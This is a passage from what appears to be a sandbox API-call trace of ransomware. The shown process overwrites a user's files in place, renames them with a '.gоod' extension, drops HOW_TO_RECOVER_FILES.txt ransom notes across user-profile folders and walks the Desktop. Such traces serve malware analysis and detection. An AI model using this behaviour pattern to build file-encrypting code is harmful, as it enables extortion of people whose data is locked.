"c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\z5qqigc.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0176.235] GetFileType (hFile=0x580) returned 0x1 [0176.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0176.235] GetFileType (hFile=0x580) returned 0x1 [0176.235] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0xeb3a [0176.235] WriteFile (in: hFile=0x580, lpBuffer=0x39b8048*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x39b8048*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0176.236] CloseHandle (hObject=0x580) returned 1 [0176.236] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", lpFilePart=0x0) returned 0x3f [0176.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0176.236] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\z5qqigc.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0176.236] GetFileType (hFile=0x580) returned 0x1 [0176.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0176.236] GetFileType (hFile=0x580) returned 0x1 [0176.236] ReadFile (in: hFile=0x580, lpBuffer=0x39ba2f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x39ba2f0*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0177.411] CloseHandle (hObject=0x580) returned 1 [0177.411] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", lpFilePart=0x0) returned 0x3f [0177.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0177.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\z5qqigc.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0177.411] GetFileType (hFile=0x580) returned 0x1 [0177.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0177.411] GetFileType (hFile=0x580) returned 0x1 [0177.411] WriteFile (in: hFile=0x580, lpBuffer=0x338b758*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x338b758*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0177.411] CloseHandle (hObject=0x580) returned 1 [0177.412] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", lpFilePart=0x0) returned 0x3f [0177.412] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf.gоod", lpFilePart=0x0) returned 0x44 [0177.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0177.412] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\z5qqigc.swf"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2df600, ftCreationTime.dwHighDateTime=0x1d4c825, ftLastAccessTime.dwLowDateTime=0x81eea000, ftLastAccessTime.dwHighDateTime=0x1d4d5c5, ftLastWriteTime.dwLowDateTime=0x65f4ac9f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb4a)) returned 1 [0177.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0177.412] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\z5qqigc.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\z5qqigc.swf.gоod")) returned 1 [0177.413] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0177.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0177.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x580 [0177.414] GetFileType (hFile=0x580) returned 0x1 [0177.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0177.414] GetFileType (hFile=0x580) returned 0x1 [0177.415] WriteFile (in: hFile=0x580, lpBuffer=0x35c5000*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x35c5000*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0177.417] CloseHandle (hObject=0x580) returned 1 [0177.417] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3b [0177.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0177.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0177.947] GetFileType (hFile=0x7f8) returned 0x1 [0177.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0177.947] GetFileType (hFile=0x7f8) returned 0x1 [0177.948] WriteFile (in: hFile=0x7f8, lpBuffer=0x3584f08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3584f08*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0177.949] CloseHandle (hObject=0x7f8) returned 1 [0177.950] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2f [0177.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0177.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\videos\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0177.951] GetFileType (hFile=0x7f8) returned 0x1 [0177.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0177.951] GetFileType (hFile=0x7f8) returned 0x1 [0177.951] WriteFile (in: hFile=0x7f8, lpBuffer=0x3588710*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3588710*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0177.952] CloseHandle (hObject=0x7f8) returned 1 [0177.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0177.953] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Application Data", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Application Data", lpFilePart=0x0) returned 0x20 [0177.953] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Application Data\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0177.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee8b0) returned 1 [0177.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Application Data\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Application Data\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x39 [0177.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0177.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Application Data\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\application data\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0177.960] GetFileType (hFile=0x7f8) returned 0x1 [0177.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0177.960] GetFileType (hFile=0x7f8) returned 0x1 [0177.960] WriteFile (in: hFile=0x7f8, lpBuffer=0x3598dc0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3598dc0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0177.961] CloseHandle (hObject=0x7f8) returned 1 [0177.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0177.964] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Contacts", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Contacts", lpFilePart=0x0) returned 0x18 [0177.964] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Contacts\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0177.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0177.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.964] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0177.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0177.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0177.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0177.966] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Contacts", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Contacts", lpFilePart=0x0) returned 0x18 [0177.966] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Contacts\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0177.966] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.966] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0177.967] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0177.967] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0177.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0177.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0177.967] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Contacts\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Contacts\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0177.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0177.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Contacts\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\contacts\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0177.968] GetFileType (hFile=0x7f8) returned 0x1 [0177.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0177.968] GetFileType (hFile=0x7f8) returned 0x1 [0177.969] WriteFile (in: hFile=0x7f8, lpBuffer=0x35a9c30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x35a9c30*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0177.970] CloseHandle (hObject=0x7f8) returned 1 [0177.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0177.970] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Cookies", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Cookies", lpFilePart=0x0) returned 0x17 [0177.970] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Cookies\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0177.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee8b0) returned 1 [0177.972] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Cookies\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Cookies\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x30 [0177.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0177.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Cookies\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\cookies\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0177.973] GetFileType (hFile=0x7f8) returned 0x1 [0177.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0177.973] GetFileType (hFile=0x7f8) returned 0x1 [0177.974] WriteFile (in: hFile=0x7f8, lpBuffer=0x35ba190*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x35ba190*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0177.975] CloseHandle (hObject=0x7f8) returned 1 [0177.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0177.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0177.975] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x53ca3cd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x53ca3cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0177.976] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x53ca3cd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x53ca3cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.976] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd174a700, ftCreationTime.dwHighDateTime=0x1d4d093, ftLastAccessTime.dwLowDateTime=0xaeffc1b0, ftLastAccessTime.dwHighDateTime=0x1d4d08d, ftLastWriteTime.dwLowDateTime=0xaeffc1b0, ftLastWriteTime.dwHighDateTime=0x1d4d08d, nFileSizeHigh=0x0, nFileSizeLow=0xbc77, dwReserved0=0x0, dwReserved1=0x0, cFileName="0aeCF7J4.mp3", cAlternateFileName="")) returned 1 [0177.976] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73255ec0, ftCreationTime.dwHighDateTime=0x1d4d38f, ftLastAccessTime.dwLowDateTime=0x6be02a80, ftLastAccessTime.dwHighDateTime=0x1d4ca04, ftLastWriteTime.dwLowDateTime=0x6be02a80, ftLastWriteTime.dwHighDateTime=0x1d4ca04, nFileSizeHigh=0x0, nFileSizeLow=0x2b33, dwReserved0=0x0, dwReserved1=0x0, cFileName="1Llcqggic9x-_T8cv.swf", cAlternateFileName="1LLCQG~1.SWF")) returned 1 [0177.976] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449df280, ftCreationTime.dwHighDateTime=0x1d4cf8c, ftLastAccessTime.dwLowDateTime=0xeb73cdb0, ftLastAccessTime.dwHighDateTime=0x1d4c716, ftLastWriteTime.dwLowDateTime=0xeb73cdb0, ftLastWriteTime.dwHighDateTime=0x1d4c716, nFileSizeHigh=0x0, nFileSizeLow=0xa7a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="2fBzQEff6XU6M3.swf", cAlternateFileName="2FBZQE~1.SWF")) returned 1 [0177.976] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9997cd0, ftCreationTime.dwHighDateTime=0x1d4d466, ftLastAccessTime.dwLowDateTime=0x9fa4c100, ftLastAccessTime.dwHighDateTime=0x1d4d2e7, ftLastWriteTime.dwLowDateTime=0x9fa4c100, ftLastWriteTime.dwHighDateTime=0x1d4d2e7, nFileSizeHigh=0x0, nFileSizeLow=0x12edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="4yH73E1aYg Q.bmp", cAlternateFileName="4YH73E~1.BMP")) returned 1 [0177.976] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b45500, ftCreationTime.dwHighDateTime=0x1d4cdbb, ftLastAccessTime.dwLowDateTime=0xfd409d30, ftLastAccessTime.dwHighDateTime=0x1d4d1ab, ftLastWriteTime.dwLowDateTime=0xfd409d30, ftLastWriteTime.dwHighDateTime=0x1d4d1ab, nFileSizeHigh=0x0, nFileSizeLow=0x64e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="4ZfN1ykCS98mVKcw6H16.mp3", cAlternateFileName="4ZFN1Y~1.MP3")) returned 1 [0177.976] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09e1a90, ftCreationTime.dwHighDateTime=0x1d4cba6, ftLastAccessTime.dwLowDateTime=0x38571540, ftLastAccessTime.dwHighDateTime=0x1d4cee9, ftLastWriteTime.dwLowDateTime=0x38571540, ftLastWriteTime.dwHighDateTime=0x1d4cee9, nFileSizeHigh=0x0, nFileSizeLow=0x9072, dwReserved0=0x0, dwReserved1=0x0, cFileName="5VKo6nZvqr.odt", 